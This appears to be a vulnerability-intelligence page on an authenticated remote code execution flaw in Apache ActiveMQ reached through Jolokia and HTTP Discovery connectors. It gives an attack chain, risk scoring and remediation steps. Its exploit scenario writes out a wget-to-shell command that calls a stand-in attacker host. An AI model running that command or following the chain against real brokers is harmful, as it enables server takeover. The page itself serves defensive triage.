Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Jolokia endpoint
-
DeliveryInvoke BrokerView.addNetworkConnector with malicious HTTP Discovery URI
-
ExploitBroker contacts attacker HTTP server
-
InstallMalicious response returns VM transport with remote Spring XML brokerConfig
-
C2Spring ResourceXmlApplicationContext loads attacker XML
-
ExecuteBean factory instantiates Runtime.exec() with attacker payload
-
ImpactArbitrary code executes as broker JVM user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires three specific conditions: (1) Attacker possesses valid ActiveMQ authentication credentials with sufficient privileges to invoke BrokerView MBean operations via Jolokia (default ActiveMQ admin role). (2) Jolokia HTTP endpoint is accessible to the attacker (commonly exposed on port 8161 at /api/jolokia/* in default configurations). (3) The activemq-http module JAR is present on the broker's classpath at runtime, enabling HTTP Discovery transport functionality (included in standard ActiveMQ distributions but may be absent in minimal custom builds). The attack vector is network-based (AV:N) with low complexity (AC:L), meaning no non-default configuration or race conditions are required. However, low-privilege authentication (PR:L) is mandatory - this is NOT unauthenticated remote code execution. No user interaction required (UI:N). The requirement for authenticated access and specific module presence limits exploitation compared to unauthenticated RCE but poses significant risk in environments with weak credential management or insider threat scenarios. |
| Impact | Real-world risk assessment reveals moderate urgency despite high CVSS 8.8 score. CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network-exploitable, low-complexity attack requiring low-privilege authentication - a realistic threat model for internet-exposed ActiveMQ instances with default Jolokia endpoints. However, EPSS score of 0.06% (19th percentile) suggests very low probability of mass exploitation in the next 30 days. SSVC framework confirms no active exploitation, non-automatable attack requiring authenticated context, but total technical impact (arbitrary code execution). This is not a wormable vulnerability but represents critical risk for organizations with ActiveMQ exposed to untrusted authenticated users or lateral movement scenarios. The presence of CVE-2026-34197 in the description indicates this is a bypass of prior hardening - attackers already understand this attack surface. Key discriminator: exploitation requires both authenticated Jolokia access AND activemq-http module on classpath (non-default in some deployments). Priority should be HIGH for internet-facing instances with Jolokia enabled, MEDIUM for internal instances with strong authentication controls. No public POC identified in provided references, though the detailed vendor advisory (activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) provides sufficient technical detail for skilled attackers to reconstruct the exploit chain. |
| Exploit ScenarioDerived | An attacker with valid ActiveMQ credentials authenticates to the Jolokia HTTP endpoint (typically exposed on port 8161 at /api/jolokia). Using Jolokia's JSON API, the attacker invokes BrokerView.addNetworkConnector with a crafted HTTP Discovery transport URI pointing to an attacker-controlled malicious web server. The malicious server responds with a VM transport URI containing a brokerConfig parameter that references a remote Spring XML file hosted by the attacker. ActiveMQ's Spring Framework eagerly loads this XML context, instantiating beans defined with factory methods such as Runtime.getRuntime().exec("/bin/bash -c 'wget attacker.com/shell|sh'"). Arbitrary code executes with broker JVM privileges before configuration validation occurs, granting the attacker complete control over the ActiveMQ server and potential lateral movement within the network. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 27, 2026
Remote code execution in Apache ActiveMQ 5.x (before 5.19.6) and 6.x (before 6.2.5) allows authenticated attackers to bypass prior security fixes (CVE-2026-34197) by injecting malicious Spring XML configurations through HTTP Discovery transport connectors via Jolokia. Attackers leverage a VM transport loophole to invoke arbitrary bean factory methods like Runtime.exec() during Spring context initialization. EPSS score is low (0.06%, 19th percentile) with no confirmed active exploitation (not in CISA KEV), suggesting limited widespread targeting despite high CVSS 8.8 score. Exploitation requires authenticated Jolokia access and presence of activemq-http module on classpath.
Earlier versions of this analysis (1)
Remote code execution in Apache ActiveMQ allows authenticated attackers to bypass CVE-2026-34197 protections and execute arbitrary code on the broker's JVM. Attackers with low-level authentication can inject malicious configurations via Jolokia's JMX interface by adding HTTP Discovery connectors that return VM transport URIs, which then load remote Spring XML contexts executing code through bean factory methods like Runtime.exec(). EPSS score of 0.06% (19th percentile) indicates low observed exploitation probability despite high CVSS 8.8 rating. No active exploitation confirmed (not in CISA KEV), but this represents a bypass of a previously patched vulnerability, suggesting targeted attack potential against organizations that patched CVE-2026-34197 but haven't upgraded to the latest versions.
RemediationAI
Upgrade immediately to Apache ActiveMQ 5.19.6 (for 5.x deployments) or 6.2.5 (for 6.x deployments) per vendor advisory at https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt. For environments where immediate patching is not feasible, apply these compensating controls with noted limitations: (1) Remove activemq-http JAR from broker classpath - eliminates HTTP Discovery transport capability but breaks legitimate HTTP-based network connectors; confirm no production configurations depend on HTTP transport before implementing. (2) Disable Jolokia endpoint entirely by removing jolokia-core JAR or blocking HTTP access to /api/jolokia/* paths at reverse proxy/firewall layer - prevents management via Jolokia but may break monitoring tools relying on JMX-over-HTTP. (3) Restrict Jolokia authentication to trusted administrator accounts only and audit BrokerView.addNetworkConnector/addConnector invocations - reduces attack surface but does not prevent exploitation by compromised admin credentials. (4) Deploy network segmentation to prevent broker JVM from initiating outbound HTTP connections to attacker-controlled endpoints - blocks malicious HTTP Discovery responses but may interfere with legitimate external integrations. All workarounds carry operational trade-offs; vendor patching is the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 6 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache ActiveMQ is a Java-based message broker implementing JMS (Java Message Service). This vulnerability exploits two underlying technologies: Jolokia (HTTP/JSON bridge for JMX) and Spring Framework's ResourceXmlApplicationContext. The attack chain leverages ActiveMQ's connector management through BrokerView MBeans accessible via Jolokia. When activemq-http module is present, the HTTP Discovery transport protocol accepts remote URIs that can redirect to VM transports. The VM transport's brokerConfig parameter historically allowed loading arbitrary Spring XML contexts. The root cause (CWE-20: Improper Input Validation) stems from insufficient validation of HTTP Discovery responses that return VM transport URIs, bypassing the incomplete fix in CVE-2026-34197. Spring's ResourceXmlApplicationContext eagerly instantiates singleton beans before ActiveMQ validates broker configuration, enabling attackers to execute arbitrary code through bean definitions specifying Runtime.getRuntime().exec() or similar factory methods. The CPE strings confirm all three distribution packages (activemq, activemq-broker, activemq-all) are vulnerable across versions 5.x (<5.19.6) and 6.x (<6.2.5).
Know when Apache Activemq Broker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (apache).
CVSS VectorVendor: apache
Lifecycle Timeline
6DescriptionCVE.org
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.
An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath. A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().
This issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5.
Users are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue.
Blast Radius
ecosystem impact- 6 maven packages depend on org.apache.activemq:activemq-all (3 direct, 3 indirect)
- 21 maven packages depend on org.apache.activemq:activemq-broker (14 direct, 7 indirect)
Ecosystem-wide dependent count for version 6.0.0 and other introduced versions.
Articles & Coverage 1
Executive ViewAI
Apache ActiveMQ versions 5.x (before 5.19.6) and 6.x (before 6.2.5) contain a remote code execution vulnerability that allows authenticated attackers to execute arbitrary commands by injecting malicious Spring XML configurations through HTTP Discovery transport connectors. Organizations running affected ActiveMQ instances with Jolokia enabled face significant risk of system compromise if internal access controls are insufficient, as attackers with authenticated Jolokia access can bypass prior security patches to achieve full code execution during application startup.
Vendor-released patch: Apply Apache ActiveMQ 5.19.6+ (5.x branch) or 6.2.5+ (6.x branch). If patching is delayed, immediately restrict Jolokia access to trusted internal networks only via firewall rules; disable HTTP Discovery transport connector if not operationally required; implement network-level monitoring for suspicious HTTP Discovery requests; and require multi-factor authentication for any Jolokia access points.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Apache Activemq Broker
View allRemote code execution in Apache ActiveMQ Classic versions before 5.19.5 and 6.0.0-6.2.2 allows authenticated attackers t
Remote code execution in Apache ActiveMQ allows authenticated attackers with admin console access to inject malicious Sp
Remote denial of service in Apache ActiveMQ (versions 5.19.7 and 6.2.6) allows an unauthenticated attacker to exhaust br
Improper input validation in Apache ActiveMQ lets an attacker who can write or modify LDAP entries matching the broker's
Out-of-memory denial of service in Apache ActiveMQ allows unauthenticated remote attackers to exhaust broker memory via
Improper path validation in Apache ActiveMQ Client and Broker allows authenticated users to traverse the classpath via c
EUVD-2026-25410
GHSA-w3w2-mpp5-92gm
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB